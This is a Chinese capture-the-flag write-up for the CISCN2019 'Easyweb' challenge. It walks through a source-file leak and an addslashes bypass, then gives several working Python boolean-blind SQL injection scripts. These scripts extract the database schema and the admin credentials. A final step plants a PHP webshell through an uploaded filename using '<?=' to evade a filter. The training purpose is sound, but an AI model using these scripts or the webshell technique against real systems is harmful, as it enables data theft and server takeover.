sql bool盲注
[CISCN2019 总决赛 Day2 Web1]Easyweb
考察:
robots.txt
image.php?bak文件泄露,image.php.bak可以下载别的不大行
盲注
php日志挂马
- <?=可以绕过检测
初步工作
进入8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/robots.txt
Disallow: *.php.bak
对暴露的php文件进行测试,
user.php,image.php.bak
image.php.bak存在,得到源码如下。
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
分析源码
addslashes()函数,这个函数会把特殊的字符转义。
比如:单引号会被转义成\',斜杠会转义为\\.
第十行的str_replace会把"\\0","%00","\\'","'"中的任意一个替换成空。
我们可根据这个绕过当传入id=\\0时,就会在 查询语句处改变sql语句。
即:select * from images where id=' \' or path='+{$path}'
所以我们可以在path处注入我们的新语句,
由于没有查询结果回显,所以此处是盲注。
正式编写脚本
编脚本就很累了,写的水平垃圾的一,写了好久。
爆数据库名长度。
其实这一步可以不用的,就是测验自己的理论,加上学习。
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
for i in range(30):
payload = "if(length(database())=%d,1,-1)%%23" % (i)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
print(i)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
爆数据库名字
为:ciscnfinal
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last = "tmp" #用于判断可不可以终止
i = 0
while( result != last ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
payload = "if(ascii(substr(database(),%d,1))>%d,1,-1)%%23"%(i,mid)
# print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if chr(head)!=" ":
result += chr(head)
print(result)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
爆数据表的表名
记得看一下名字里包不包括源码泄露的images表,可以作为你的脚本正确性验证。
有: images,users
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while head < tail :
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if chr(head)!=' ' :
result += chr(head)
print(result)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
爆数据表的列
爆列的时候注意,因为过滤了双单引号,且我们没有函数了,所以此时要把表明转成16进制
hex(“users”) = 0x7573657273
为:username,password
import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while( head < tail ):
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
爆username字段
admin
import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while( head < tail ):
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(username) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
爆username字段password
import requests
import time
url = "http://e90944d1-1737-46ec-a95c-5502fffc68f6.node3.buuoj.cn/image.php/"
# payload = {
# "id":"",
# #"password":""
# }
result = ""
for i in range(1,50):
time.sleep(0.01)
l = 32
r =128
mid = (l+r)>>1
while(l<r):
payload = url+"?id=\\\\0"+"&path=or 1="+"(ascii(substr((select group_concat(password) from users),{0},1))>{1})%23".format(i,mid)
html = requests.get(url=payload)#data=payload
#print(payload)
if b'JFIF' in html.content:
l = mid+1
else:
r = mid
mid = (l+r)>>1
# if(chr(mid)==" "):
# break
result = result + chr(mid)
print(result)
print("flag: " ,result)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
登录
我们有了用户名和密码。
登录进去后,简单上传测试后发现,他会把文件名放到日志。
所以把木马写到文件名即可,注意过滤了php。
可以用<?=来绕过。
上传之后,getshell,去根目录把flag文件读了即可。
注意:图片数据判断存在时前+b以二进制的方式读取
sql bool盲注的更多相关文章
- opcourse sql布尔盲注 WP复现
当时做这题的时候,写了脚本,用的if(mid())<>来爆破的,可能因为写脚本不擅长,写的太乱了,直接把payload写进mid里,整个一堆,然后括号对着WP看的时候,少了好几个括号,导致 ...
- bool盲注中用到的截取字符串的函数(mid、substr、left)
介绍一下常用的:mid.substr.left 1.mid()函数 此函数为截取字符串一部分.MID(column_name,start[,length]) 参数 描述 column_name 必需. ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
- 关于sql注入盲注,谈谈自己的心得
1.没做防御的站点,拿上sqlmap直接怼就行了. 2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等) 这些就相当麻烦了,首先要探测 ...
- SQL注入--盲注及报错注入
盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...
- SQL注入----盲注总结
参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7 ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- SQL注入 盲注
来源:http://www.cnblogs.com/cheatlove/articles/384233.html SQL注入攻击: (1) 脚本注入式的攻击(2) 恶意用户输入用来影响被执行的SQL脚 ...
- 防sql注入 盲注等措施 ESAPI的使用
SQL注入往往是在程序员编写包含用户输入的动态数据库查询时产生的,但其实防范SQL注入的方法非常简单.程序员只要a)不再写动态查询,或b)防止用户输入包含能够破坏查询逻辑的恶意SQL语句,就能够防范S ...
随机推荐
- mysql between and 是[a,b]闭区间
mysql between and 是[a,b]闭区间 mysql between and 是[a,b]闭区间
- TIP/Collision-Free Video Synopsis Incorporating Object Speed and Size Changes Code
代码地址 https://github.com/scutlzk/Collision-Free-Video-Synopsis-Incorporating-Object-Speed-and-Size-C ...
- JS 实现飞机大战
这是JS版本的飞机大战,和C#版本的思路相同,就是语言上有差别,用来巩固知识.可以将代码直接引入到HTML中就可以看到效果 //编写背景对象 function Background(width,hei ...
- [JLOI2011]飞行路线 题解
[JLOI2011]飞行路线 题解 题目TP门 题目描述 Alice和Bob现在要乘飞机旅行,他们选择了一家相对便宜的航空公司.该航空公司一共在n个城市设有业务,设这些城市分别标记为0到n-1,一共有 ...
- H264Nalu头部解析
一 NALU头部解析 F: forbidden_zero_bit. 在 H.264 规范中规定了这一位必须为 0. NRI: nal_ref_idc. 取00~11,似乎指示这个NALU的重要性,如0 ...
- Linux(Centos6.8)配置Nginx环境
1.环境配置 操作系统:centos6.8 [root@host79 ~]# uname -a Linux host79.pluto 2.6.32-642.el6.x86_64 #1 SMP Tue ...
- Cassandra存储附带索引(SAI)全新上线
新一代Apache Cassandra索引现已在Astra和DataStax Enterprise 6.8.3中正式开放使用 (general availability or GA),很快您也将在开源 ...
- docker漏洞复现环境搭建
0x00 docker简介 把原来的笔记整理了一下,结合前几天的一个漏洞,整理一篇简单的操作文档,希望能帮助有缘人. docker是一个开源的应用容器引擎,开发者可以打包自己的应用到容器里面,然后迁移 ...
- SpringBoot使用策略模式+工厂模式
为了防止大量的if...else...或switch case代码的出现,可以使用策略模式+工厂模式进行优化. 在我的项目当中,报表繁多,所以尝试了这种方式进行优化报表的架构.代码很简单,如下: Fa ...
- 对于线程池ThreadPool的学习总结
线程池:就是一个管理线程的池子. 优点: 它帮我们管理线程,避免增加创建线程和销毁线程的资源损耗.因为线程其实也是一个对象,创建一个对象,需要经过类加载过程,销毁一个对象,需要走GC垃圾回收流程,都是 ...